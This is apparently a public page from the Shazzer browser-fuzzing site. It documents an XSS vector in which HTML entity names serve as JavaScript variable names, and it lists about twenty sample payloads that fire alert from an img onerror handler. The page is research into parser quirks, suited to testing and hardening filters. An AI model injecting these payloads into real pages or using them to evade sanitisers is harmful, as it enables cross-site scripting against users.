Entities allowed as JS variables

This vector shows which entities are allowed as JS variables.

Shazzer Master

Created Jul 2, 2024

Updated May 27, 2025

Unable to render tweet button

Detecting browser...

CategoryEntity Parsing

VisibilityPublic

TypeXSS

CharsetUTF-8

$[data1] placeholderhtml_entities

Template used:

<img src=data: onerror="$[data1]=log;$[data1]('html($[data1])')">

Sample payloads

<img src=data: onerror="&fnof;=alert;&fnof;('&#38;fnof;')">

<img src=data: onerror="&igrave;=alert;&igrave;('&#38;igrave;')">

<img src=data: onerror="&utilde;=alert;&utilde;('&#38;utilde;')">

<img src=data: onerror="&njcy;=alert;&njcy;('&#38;njcy;')">

<img src=data: onerror="&itilde;=alert;&itilde;('&#38;itilde;')">

<img src=data: onerror="&copf;=alert;&copf;('&#38;copf;')">

<img src=data: onerror="&Rcy;=alert;&Rcy;('&#38;Rcy;')">

<img src=data: onerror="&beta;=alert;&beta;('&#38;beta;')">

<img src=data: onerror="&rfr;=alert;&rfr;('&#38;rfr;')">

<img src=data: onerror="&zopf;=alert;&zopf;('&#38;zopf;')">

<img src=data: onerror="&epsi;=alert;&epsi;('&#38;epsi;')">

<img src=data: onerror="&angst;=alert;&angst;('&#38;angst;')">

<img src=data: onerror="&fscr;=alert;&fscr;('&#38;fscr;')">

<img src=data: onerror="&thetasym;=alert;&thetasym;('&#38;thetasym;')">

<img src=data: onerror="&Ffr;=alert;&Ffr;('&#38;Ffr;')">

<img src=data: onerror="&gscr;=alert;&gscr;('&#38;gscr;')">

<img src=data: onerror="&pscr;=alert;&pscr;('&#38;pscr;')">

<img src=data: onerror="&oscr;=alert;&oscr;('&#38;oscr;')">

<img src=data: onerror="&imagline;=alert;&imagline;('&#38;imagline;')">

<img src=data: onerror="&varsigma;=alert;&varsigma;('&#38;varsigma;')">